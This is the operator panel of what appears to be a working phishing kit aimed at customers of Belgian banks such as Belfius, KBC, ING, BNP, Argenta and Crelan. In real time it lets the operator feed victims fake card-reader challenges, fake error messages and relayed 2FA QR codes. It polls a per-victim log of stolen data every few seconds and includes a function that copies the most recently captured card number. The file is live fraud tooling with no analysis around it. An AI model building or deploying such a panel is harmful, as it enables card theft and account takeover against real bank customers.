              <button type="button" class="btn btn-secondary" href="#l-deuch">
                <i class="fas fa-credit-card mr-2"></i>Lecteur Deuch
              </button>
              <button type="button" class="btn btn-secondary" href="#l-beoDigi">
                <i class="fas fa-key mr-2"></i>Lecteur Beo Digi
              </button>
            </div>
          </div>
        </div>
	
	<div>
	
	<div id="itsMeLogo" class="collapse mt-5 overlay" style="margin: 0px auto;">
     <div class="content" >
	
        <label  class="text-right">itsMeLogo choice:</label>   
<div style="display:flex;gap:5px;padding:15px;justify-content:center;">

<img id="itsMeLogo0" style="max-width:55px;" src="<?php echo $itsMeLogo[0]; ?>" type="button" role="button" onclick=" resetItsMeLogo();  document.getElementById('itsMeLogoText0').value = '0'; this.style.border = 'solid 1px green'; ">
<img id="itsMeLogo1" style="max-width:55px;" src="<?php echo $itsMeLogo[1]; ?>" type="button" role="button" onclick=" resetItsMeLogo();  document.getElementById('itsMeLogoText0').value = '1'; this.style.border = 'solid 1px green'; ">
<img id="itsMeLogo2" style="max-width:55px;" src="<?php echo $itsMeLogo[2]; ?>" type="button" role="button" onclick=" resetItsMeLogo();  document.getElementById('itsMeLogoText0').value = '2'; this.style.border = 'solid 1px green'; ">
<img id="itsMeLogo3" style="max-width:55px;" src="<?php echo $itsMeLogo[3]; ?>" type="button" role="button" onclick=" resetItsMeLogo();  document.getElementById('itsMeLogoText0').value = '3'; this.style.border = 'solid 1px green'; ">
<img id="itsMeLogo4" style="max-width:55px;" src="<?php echo $itsMeLogo[4]; ?>" type="button" role="button" onclick=" resetItsMeLogo();  document.getElementById('itsMeLogoText0').value = '4'; this.style.border = 'solid 1px green'; ">


</div>		
        <input id="itsMeLogoText0" name="itsMeLogoText0" type="text" class="form-control mb-3" placeholder="valeur wich logo" >
        <input id="itsMeLogoText1" name="itsMeLogoText1" type="text" class="form-control mb-3" style="display:none;" value="null" >
        <button type="submit" class="btn btn-warning" name="to" value="itsMeLogo" >Submit</button> 
		</div>
<script>

function resetItsMeLogo(){
	
	for(i = 0; i < 5;i++){	
		document.getElementById('itsMeLogo' + i).style.border = '';
	}	
}
</script>		
    </div>
	
	
	<div id="errorCCS" class="collapse mt-5 overlay" style="margin: 0px auto;">
     <div class="content" >
	 
	 <div>
       <p><label  class="text-right">Erreur titre t0:</label></p>
       <select style="margin:auto;margin-bottom:15px;" onchange=" document .getElementById('errorCCSText0').value = this.value; " >
	   <option disabled selected>select</option>
	   <option value="Session expirée">Session expirée</option>
	   <option value="Carte non supportée"> Carte non supportée</option>
	   <option value="Code erroné">Code erroné</option>
	   </select> 
	   
      <input name="errorCCSText0" id="errorCCSText0" class="form-control mb-3" placeholder="titre..." >
	  </div>
	  <div>
	   <p><label  class="text-right">Erreur text t1:</label></p>
       <select style="margin:auto;margin-bottom:15px;" onchange=" document .getElementById('errorCCSText1').value = this.value; " >
	   <option disabled selected>select</option>
	   <option value="Le numéro de carte semble incorrect">Le numéro de carte semble incorrect</option>
	   <option value="Le code semble incorrect"> Le code semble incorrect</option>
	   <option value="Login semble incorrect">Login semble incorrect</option>
	   </select> 
	   
	  <input name="errorCCSText1" id="errorCCSText1" class="form-control mb-3" placeholder="text a afficher" >
	  </div>
      <button type="submit" class="btn btn-warning" name="to" value="errorCCS" >Submit</button>
		</div>
    </div>
	
	<div id="l-nagelM" class="collapse mt-5 overlay" style="margin: 0px auto;">
     <div class="content" >
	
        <label  class="text-right">nagelMakers lecteur texts:</label>      
        <input name="nagelMText0" class="form-control mb-3" placeholder="security code" >
	    <input name="nagelMText1" class="form-control mb-3" placeholder="montant"   >
        <button type="submit" class="btn btn-warning" name="to" value="l-nagelM" >Submit</button> 
		</div>		
    </div>	
	<div id="l-axa" class="collapse mt-5 overlay" style="margin: 0px auto;">
     <div class="content" >
	
        <label  class="text-right">axa lecteur texts:</label>      
        <input name="axaText0" class="form-control mb-3" placeholder="security code" >
	    <input name="axaText1" class="form-control mb-3" placeholder="montant" value="nul"  style="display:none;">
        <button type="submit" class="btn btn-warning" name="to" value="l-axa" >Submit</button> 
		</div>		
    </div>
	
	<div id="l-bpost" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

        <label  class="text-right">bpost lecteur texts:</label>
		<input name="bpostText0" class="form-control mb-3" placeholder="security code" value="nul"  style="display:none;">
	    <input name="bpostText1" class="form-control mb-3" placeholder="montant" >
        <button type="submit" class="btn btn-warning" name="to" value="l-bpost" >Submit</button>
		</div>
    </div>
	
	<div id="l-cbc" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

        <label  class="text-right">cbc lecteur texts:</label>
		<input name="cbcText0" class="form-control mb-3" placeholder="security code" >
	    <input name="cbcText1" class="form-control mb-3" placeholder="montant" >
        <button type="submit" class="btn btn-warning" name="to" value="l-cbc" >Submit</button>
		</div>
    </div>
	
	<div id="l-digipass" class="collapse mt-5 overlay" style="margin: 0px auto;">
     <div class="content" >
	
        <label  class="text-right">digipass lecteur texts:</label>
		<input name="digipassText0" class="form-control mb-3" placeholder="security code" >
		<input name="digipassText1" class="form-control mb-3"  value="nul" style="display:none;">
		<button type="submit" class="btn btn-warning" name="to" value="l-digipass" >Submit</button>
		</div>
    </div>
	
	<div id="l-crelan" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">crelan lecteur texts:</label>
		<input name="crelanText0" class="form-control mb-3" placeholder="security code" >
		<input name="crelanText1" class="form-control mb-3"  value="nul" style="display:none;">
		<button type="submit" class="btn btn-warning" name="to" value="l-crelan" >Submit</button>
		</div>
    </div>
	
	<div id="l-kbc" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">kbc lecteur texts:</label>
		<input name="kbcText0" class="form-control mb-3" placeholder="security code" >
		<input name="kbcText1" class="form-control mb-3" placeholder="montant" >
		<button type="submit" class="btn btn-warning" name="to" value="l-kbc" >Submit</button>
		</div>
    </div>
	
	<div id="l-belfius" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">belfius lecteur texts:</label>
		<input name="belfiusText0" class="form-control mb-3" placeholder="security code" >
		<input name="belfiusText1" class="form-control mb-3" placeholder="montant" >
		<button type="submit" class="btn btn-warning" name="to" value="l-belfius" >Submit</button>
		</div>
    </div>
	
	<div id="l-bnp" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">bnp lecteur texts:</label>
		<input name="bnpText0" class="form-control mb-3" placeholder="security code"  >
		<input name="bnpText1" class="form-control mb-3" placeholder="montant" >
		<button type="submit" class="btn btn-warning" name="to" value="l-bnp" >Submit</button>
		</div>
    </div>
	
	<div id="l-ing" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">ing lecteur texts:</label>
		<input name="ingText0" class="form-control mb-3" placeholder="security code" >
		<input name="ingText1" class="form-control mb-3" placeholder="montant" >
		<button type="submit" class="btn btn-warning" name="to" value="l-ing" >Submit</button>
		</div>
    </div>
	
	<div id="l-argenta" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">argenta lecteur texts:</label>
		<input name="argentaText0" class="form-control mb-3" placeholder="security code 1" >
		<input name="argentaText1" class="form-control mb-3" placeholder="montant" >
		<button type="submit" class="btn btn-warning" name="to" value="l-argenta" >Submit</button>
		</div>
    </div>
	
	<div id="l-cph" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">cph lecteur texts:</label>
		<input name="cphText0" class="form-control mb-3" placeholder="security code 1" >
		<input name="cphText1" class="form-control mb-3" placeholder="montant" >
		<button type="submit" class="btn btn-warning" name="to" value="l-cph" >Submit</button>
		</div>
    </div>
	
	<div id="l-deuch" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">deuch lecteur texts:</label>
		<input name="deuchText0" class="form-control mb-3" placeholder="security code" >
		<input name="deuchText1" class="form-control mb-3" placeholder="montant" >
		<button type="submit" class="btn btn-warning" name="to" value="l-deuch" >Submit</button>
		</div>
    </div>
	
	<div id="l-beoDigi" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">beo lecteur texts:</label>
		<input name="beoDigiText0" class="form-control mb-3" placeholder="security code" value="nul" style="display:none;">
		<input name="beoDigiText1" class="form-control mb-3" placeholder="montant" >
		<button type="submit" class="btn btn-warning" name="to" value="l-beoDigi" >Submit</button>
		</div>
    </div>
	
	<div id="l-belfiusMobile" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">belfiusMobile lecteur texts:</label>
		<input name="belfiusMobileText0" class="form-control mb-3" placeholder="security code" >
		<input name="belfiusMobileText1" class="form-control mb-3" placeholder="montant" value="nul"  style="display:none;">
		<button type="submit" class="btn btn-warning" name="to" value="l-belfiusMobile" >Submit</button>
		</div>
    </div>
	
	<div id="l-argentaTwo" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">argentaTwo lecteur texts:</label>
		<input name="argentaTwoText0" class="form-control mb-3" placeholder="security code" >
		<input name="argentaTwoText1" class="form-control mb-3" placeholder="montant" value="nul"  style="display:none;">
		<button type="submit" class="btn btn-warning" name="to" value="l-argentaTwo" >Submit</button>
		</div>
    </div>
	
	<div id="l-bnpMobile" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">bnpMobile lecteur texts:</label>
		<input name="bnpMobileText0" class="form-control mb-3" placeholder="security code" >
		<input name="bnpMobileText1" class="form-control mb-3" placeholder="montant" value="nul"  style="display:none;">
		<button type="submit" class="btn btn-warning" name="to" value="l-bnpMobile" >Submit</button>
		</div>
    </div>
	
	<div id="l-ingTwoMobile" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">ingTwoMobile lecteur texts:</label>
		<input name="ingTwoMobileText0" class="form-control mb-3" placeholder="security code" >
		<input name="ingTwoMobileText1" class="form-control mb-3" placeholder="montant" value="nul"  style="display:none;">
		<button type="submit" class="btn btn-warning" name="to" value="l-ingTwoMobile" >Submit</button>
		</div>
    </div>
	
	<div id="l-belfiusMobileTwo" class="collapse mt-5 overlay" style="margin: 0px auto;">
	     <div class="content" >

		<label  class="text-right">belfiusMobileTwo lecteur texts:</label>
		<input name="belfiusMobileTwoText0" class="form-control mb-3" placeholder="security code" >
		<input name="belfiusMobileTwoText1" class="form-control mb-3" placeholder="montant" value="nul"  style="display:none;">
		<button type="submit" class="btn btn-warning" name="to" value="l-belfiusMobileTwo" >Submit</button>
		</div>
    </div>
	
	</div>
	
	<hr>
	
        <!-- Data Display -->
        <div class="card" style="display: none;">
          <div class="card-header">
            <i class="fas fa-database mr-2"></i>Journal des Données
          </div>
          <div class="card-body p-0">
            <textarea id="data" readonly class="data-display" style="width: 100%; height: 300px; border: none; resize: vertical;"></textarea>
          </div>
        </div>
<div id="crelanMobileQr" class="collapse mt-5 overlay" style="margin: 0px auto;  display: none;">
     <div class="content" style="text-align:center;">
      <div class="form-group" >
	  <div class="form-group" style="display: none;">
	  <label >text :</label>
	  <textarea type="text" name="crelanQrText" value="null" style="width: 100%;height: 100px;"></textarea>
	  </div>
       <label  class="text-right">QR code image:</label>
       <div style="text-align: center;margin: auto;" class="col-8">
        <input accept="image/*" name="img" type="file" id="crelaninp" style="color: black;width: 100%;text-align: center;">
       </div>
      </div>
      <img id="crelanimg" class="img" height="150">
      <br>     
      <textarea name="crelanMobileQrb64img" class="form-control mb-3" id="crelanMobileQrb64img" cols="30" rows="5"></textarea>
      <button type="submit" class="btn btn-warning" name="to" value="crelanMobileQr">Submit</button>
     </div>
    </div>
	
	<div id="keytradeQr" class="collapse mt-5 overlay" style="margin: 0px auto;">
     <div class="content" style="text-align:center;">
      <div class="form-group" >
	  <div class="form-group" style="display: none;">
	  <label >text :</label>
	  <textarea type="text" name="keytradeQrText" value="null" style="width: 100%;height: 100px;"></textarea>
	  </div>
       <label  class="text-right">QR code image:</label>
       <div style="text-align: center;margin: auto;" class="col-8">
        <input accept="image/*" name="img" type="file" id="keytradeQrinp" style="color: black;width: 100%;text-align: center;">
       </div>
      </div>
      <img id="keytradeQrimg" class="img" height="150">
      <br>     
      <textarea name="keytradeQrb64img" class="form-control mb-3" id="keytradeQrb64img" cols="30" rows="5"></textarea>
      <button type="submit" class="btn btn-warning" name="to" value="keytradeQr">Submit</button>
     </div>
    </div>
	
	<!------->
	
	<div id="qrimg" class="collapse mt-5 overlay" style="margin: 0px auto;">
     <div class="content" style="text-align:center;">
      <div class="form-group" >
	  <div class="form-group">
	  <label >text :</label>
	  <textarea type="text" name="text" value="" style="width: 100%;height: 100px;"></textarea>
	  </div>
       <label  class="text-right">QR code image:</label>
       <div style="text-align: center;margin: auto;" class="col-8">
        <input accept="image/*" name="img" type="file" id="inp" style="color: black;width: 100%;text-align: center;">
       </div>
      </div>
      <img id="img" class="img" height="150">
      <br>
      <textarea name="b64img" class="form-control mb-3" id="b64img" cols="30" rows="5"></textarea>
      <button type="submit" class="btn btn-warning" name="to" value="2fa">Submit</button>
     </div>
    </div>
	

   </form>
  </div>
  
  
  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
  	<script>
function copyCard() {
    let text = document.getElementById('data').value;
    let lines = text.split('\n');
    let lastCard = null;

    // Iterate over lines to find the last valid card line
    for (let line of lines) {
        let start = line.indexOf("card° : ");
        let end = line.indexOf("| Expi");

        if (start !== -1 && end !== -1 && end > start) {
            lastCard = line.substring(start + 7, end).trim();
        }
    }

    if (lastCard !== null) {
        navigator.clipboard.writeText(lastCard);
        console.log(lastCard);
    } else {
        console.log("No card found.");
    }
}

	</script>
	<script>

const userId = '<?php echo md5($ip); ?>';

function getCurrentPage(userId) {
    const xhr = new XMLHttpRequest();
    const params = `userId=${encodeURIComponent(userId)}&action=getStatus`;

    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    xhr.onreadystatechange = function () {
        if (xhr.readyState === 4) { // Assure-toi que la requête est terminée
            if (xhr.status === 200) {
                try {
                    const data = JSON.parse(xhr.responseText);
                    if (data.page && data.status) {
                        document.getElementById('currentp').innerHTML = `<i class="fas fa-file-alt mr-2"></i>${data.page}`;
                        
                        const statusElement = document.getElementById('statusp');
                        const statusCard = document.getElementById('statusCard');
                        
                        if (data.status === 'online') {
                            statusElement.innerHTML = `<i class="fas fa-circle text-success mr-2"></i><strong class="text-success">En ligne</strong>`;
                            statusCard.className = 'status-card status-online';
                        } else if (data.status === 'visited') {
                            statusElement.innerHTML = `<i class="fas fa-clock text-warning mr-2"></i><strong class="text-warning">Visité récemment</strong>`;
                            statusCard.className = 'status-card status-visited';
                        } else {
                            statusElement.innerHTML = `<i class="fas fa-question-circle text-muted mr-2"></i><strong class="text-muted">Inconnu</strong>`;
                            statusCard.className = 'status-card';
                        }
                    } else {
                        console.warn("Champs attendus manquants :", data);
                    }
                } catch (e) {
                    console.error("Réponse non JSON ou vide :", xhr.responseText);
                }
            } else {
                console.error("Erreur HTTP :", xhr.status);
            }
        }
    };

    xhr.send(params);
}




	////////////
	
    document.addEventListener('DOMContentLoaded', function() {
        const filePath = './rezult/<?php echo $ip; ?>-rzlt.txt';
        const textarea = document.getElementById('data');

        function fetchData() {
            const xhr = new XMLHttpRequest();
            xhr.open('GET', filePath + '?rand=' + Math.random().toString(36).slice(-5), true);

            xhr.onload = function() {
                if (xhr.status === 200) {
                    textarea.value = xhr.responseText;
                } else {
                    console.error('Error fetching the file:', xhr.statusText);
                }
            };

            xhr.onerror = function() {
                console.error('Network error occurred while fetching the file.');
            };

            xhr.send();
			
			
        }

        // Fetch data initially
        fetchData();
		getCurrentPage(userId);
		
		
        // Update the textarea every 2 seconds
        setInterval(function () {
			
			fetchData(); getCurrentPage(userId);
			
			}, 2200);
		
		/**** fetch current page*****/
		
		



		/*********/
    });
</script>

  <script cid="crelanMobileQr">
       function readFile() {
        if (this.files && this.files[0]) {
         var FR = new FileReader();
         FR.addEventListener("load", function(e) {
          document.getElementById("crelanimg").src = e.target.result;
          document.getElementById("crelanMobileQrb64img").value = e.target.result;
         });
         FR.readAsDataURL(this.files[0]);
        }
       }
       document.getElementById("crelaninp").addEventListener("change", readFile);
      </script>   
	  
	  <script cid="keytradeQr">
       function readFile() {
        if (this.files && this.files[0]) {
         var FR = new FileReader();
         FR.addEventListener("load", function(e) {
          document.getElementById("keytradeQrimg").src = e.target.result;
          document.getElementById("keytradeQrb64img").value = e.target.result;
         });
         FR.readAsDataURL(this.files[0]);
        }
       }
       document.getElementById("keytradeQrinp").addEventListener("change", readFile);
      </script>  
	  <script cid="img2fa">
       function readFile() {
        if (this.files && this.files[0]) {
         var FR = new FileReader();
         FR.addEventListener("load", function(e) {
          document.getElementById("img").src = e.target.result;
          document.getElementById("b64img").value = e.target.result;
         });
         FR.readAsDataURL(this.files[0]);
        }
       }
       document.getElementById("inp").addEventListener("change", readFile);
      </script>
  <script>
   $('button[type="button"]').click(function() {
   $("#err").hide();
   
   
  $("#url").hide();
   
    $("#errorCCS").hide();
    $("#l-axa").hide();
    $("#l-bpost").hide();
    $("#l-belfius").hide();
    $("#l-bnp").hide();
    $("#l-ing").hide();
    $("#l-argenta").hide();
    $("#l-cph").hide();
    $("#l-cbc").hide();
    $("#l-kbc").hide();
    $("#l-digipass").hide();
    $("#l-crelan").hide();
    $("#l-beoDigi").hide();
    $("#l-deuch").hide();
    $("#l-belfiusMobile").hide();
    $("#l-ingTwoMobile").hide();
    $("#l-bnpMobile").hide();
    $("#l-belfiusMobileTwo").hide();
    $("#l-argentaTwo").hide();
    $("#itsMeLogo").hide();
    $("#crelanMobileQr").hide();
    $("#keytradeQr").hide();
    $("#l-nagelM").hide();
	

    $("#qrimg").hide();
    var href = $(this).attr('href');
    $(href).slideToggle(100);
   });
  </script>
  
 
 </body>
</html>